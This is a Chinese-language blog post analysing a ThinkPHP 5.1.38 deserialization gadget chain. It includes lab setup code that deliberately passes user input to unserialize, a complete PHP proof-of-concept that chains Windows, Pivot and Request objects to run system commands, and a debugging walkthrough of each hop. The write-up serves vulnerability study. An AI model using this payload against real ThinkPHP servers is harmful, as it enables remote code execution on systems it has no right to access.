Thinkphp5.1 反序列化ajax链

Saofe1a

环境搭建

composer create-project topthink/think tp5.1.38 5.1.38

composer.json

1
2
3
4
5
"require": {
"php": ">=5.6.0",
"topthink/framework": "5.1.38",
"topthink/think-captcha": "2.*"
}

composer update

该反序列化漏洞属于二次触发漏洞,需要有一个入口,因此我们将控制器中的Index控制器修改一下:
tp5.1.38\application\index\controller

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
namespace app\index\controller;

class Index
{
public function index($input="")
{
echo "ThinkPHP5_Unserialize:\n";
unserialize(base64_decode($input));
return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V5.1<br/><span style="font-size:30px">12载初心不改(2006-2018) - 你值得信赖的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>';
}

public function hello($name = 'ThinkPHP5')
{
return 'hello,' . $name;
}
}

public文件夹下的index.php文件加两句话

1
2
3
Container::get('app')->run()->send();
$str=base64_decode($_POST['key']);
unserialize($str);

POC

先跑脚本得到payload调试走一遍,看完文章的分析后再回来细想

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
<?php  
namespace think\process\pipes{ //这种很多文件的,记得加上命名空间

use think\model\Pivot; //需要用到什么,需要用use来引入

class Windows
{
private $files = [];
public function __construct(){
$this->files[]=new Pivot(); //反序列化入口,控制filename
}
}
}
namespace think{
abstract class Model
{
protected $append = [];
private $data = [];
public function __construct(){
$this->data=array(
'a'=>new Request() //这是用来控制relation的,连接第二阶段
);
$this->append=array(
'a'=>array(
'hello'=>'world' //这是用来控制name的,其实根本没用,因为我们并没有用到visible这个函数,所以只需要key一样即可,至于value是什么不重要
)
);
}
}
}
namespace think\model{

use think\Model;

class Pivot extends Model //这是用来在poc中生成payload
{

}
}
namespace think{ //前面是第一阶段,这里开始时第二阶段的控制
class Request
{
protected $hook = [];
protected $filter;
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '', //这是用来符合isAjax方法的
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
public function __construct(){
$this->hook['visible']=[$this,'isAjax']; //这是用来控制call_user_func_array跳板链接到的方法的
$this->filter="system"; //这是用来控制filter的
}
}
}
namespace{

use think\process\pipes\Windows;

echo base64_encode(serialize(new Windows())); //序列化当然是序列化入口

Debug

下断点,传payload

观察POC,最外层套的是think\process\pipes\Windows对象,因此会进入该对象中,来到了Windows.php下的__destruct魔术方法,这是我们pop链的起点

close方法用来关闭文件啥没用,关键在removeFiles里,unlink() 可删除文件,这里的filename我们可以控制,存在任意文件删除漏洞,但这并非重点

我们的重点是要RCE。file_exists函数通过路径来判断文件是否存在,其传入的参数需要是一个字符串,我们将filename属性改为了一个think\model]\Pivot对象(为什么是Pivot后面会说),因此会触发它的toString方法,注意这里是第一次跳转,从Windows.php到Conversion.php
在这里大家可能会有疑问,不是Pivot对象吗,怎么变成了Conversion:
Pivot对象内部没有toString方法,其构造方法调用的是其父类Model类的构造方法。我们再来看Model类,在它的内部复用了被trait修饰的Conversion对象,因此当Pivot被当成字符串输出时,就会调用Conversion类的toString方法

跟进toJson方法

跟进toArray方法

截出toArray关键部分,最关键的一行代码就是$relation->visible($name),这意味这如果我们可以控制relation和name,就可以调用relation这个类的visible方法,且参数由我们控制,或者可以调用relation这个类的__call方法(该类没有visible时就可以自动调用),且参数由我们控制,而之前对tp5RCE中的分析我们也能看出,这个__call很危险,很有可能里面就有call_user_func

那我们就看看该如何控制relation和name,首先看relation如何获取:先是调用了getRelation方法,注意了,这里我们要的是最终走到192行,故这个if必须满足,也就是说getRelation必须返回空,跟进getRelation,看是否可以控制其返回空(这里有个点需要注意一下,这个getRelation并不在Conversion.php中,而是在RelationShip.php中,因为这两都是trait类,这个this指的是进行了多继承的子类(至少同时继承了Conversion和RelationShip),故可以调用在RelationShip.php中的getRelation方法,这是第二次跳转)

1
2
3
4
5
6
7
8
9
public function getRelation($name = null) //$name="a"
{
if (is_null($name)) {
return $this->relation;
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
return;
}

由于$name为a不是null,并且我们没给$this->relation进行赋值,因此直接return一个null回来,回到toArray中,接下来在getAttr方法中真正获取relation(getAttr方法在Attribute类中,这是第三次跳转)

跟进getData方法

可以看到我们可以控制data,只需要再控制name即可返回我们构造的值,往回看,传入getData的name就是传入getAttr的参数name,也就是toArray中的key,而key可以通过我们传入的append控制,至此,我们成功控制了relation,而$relation->visible($name)的参数name也是通过我们传入的append控制。综上所述只需要控制data和append即可(data[key]用来控制relation,append[key]用来控制name)。接下来需要找到一个同时继承了这三个类的子类(Conversion,RelationShip,Attribute),找到了Model.php里的Model类:

但是这里有个问题,Model是一个抽象类,不能直接实例化,我们需要找到具体实现他的一个子类,找到了Pivot类

全局搜索visible,发现没有一个能用的(内不含危险方法),只能找__call,想起了我们的老朋友Request.php

可以看到这里有令人安心的call_user_func_array,而且hook可以控制,但是很遗憾,在此之前进行了array_unshift,简单来说就是把this添加到了参数的第一位,如此一来,我们不再能够通过call_user_func_array来直接调用系统命令(因为系统命令参数里面不能加this),转换思路,将call_user_func_array当成一个能够调用Request类内其他方法的跳板(因为加了this)。

想想之前的tp5RCE,也许我们这次也可以通过覆盖filter来进行RCE,找到filterValue方法:

我们要想办法利用的就是filterValue里面的call_user_func来最终执行命令,这需要我们控制filter和value,而tp5RCE告诉我们,filter和value都可以在input方法里面控制

可以看到这个array_walk_recursive,可以将filter和data传入并调用filterValue,而这个filter是通过getFilter获得的,相当于是获得了this->filter,可以自行控制,对于data的控制我们进入getData

如果我们让name为空就可以跳过这个if,保留data的值。往上找找谁调用了input,是否直接传入了可控的参数,找到了param方法

可以看到这里终于是可以控制的this->param,但是基于动态命令执行的宗旨,我们可以不控制param,转而控制get参数(url传就行),于是data已经被控制,接下来只需要控制name为空即可

param()方法中的name还是不可控。虽然param()方法的默认name是空字符串,但是别忘了我们需要使用__call里面的call_user_func_array来当跳板调用它,第一个参数是this,所以这里name还是不可控,继续往上寻找调用了param的方法看是否可控,找到了isAjax函数:

可以看到这里调用param的第一个参数传入的是$this->config['var_ajax'],我们只需要控制它为空即可成功控制name为空。好了,通过call_user_func_array当跳板调用isAjax,pop链就完成了,只需要再控制一下this的参数,即可实现RCE

参考链接
两位大佬一个正向分析,一个反向分析,很有收获
ThinkPHP5.x反序列化漏洞全复现 - Boogiepop Doesn’t Laugh (boogipop.com)

ThinkPHP5_反序列化分析 | Pazuris - reoreo~~

  • Title: Thinkphp5.1 反序列化ajax链
  • Author: Saofe1a
  • Created at : 2024-10-10 11:39:55
  • Updated at : 2024-10-10 11:39:08
  • Link: https://saofeia.github.io/2024/10/10/Thinkphp5.1 反序列化ajax链/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
Thinkphp5.1 反序列化ajax链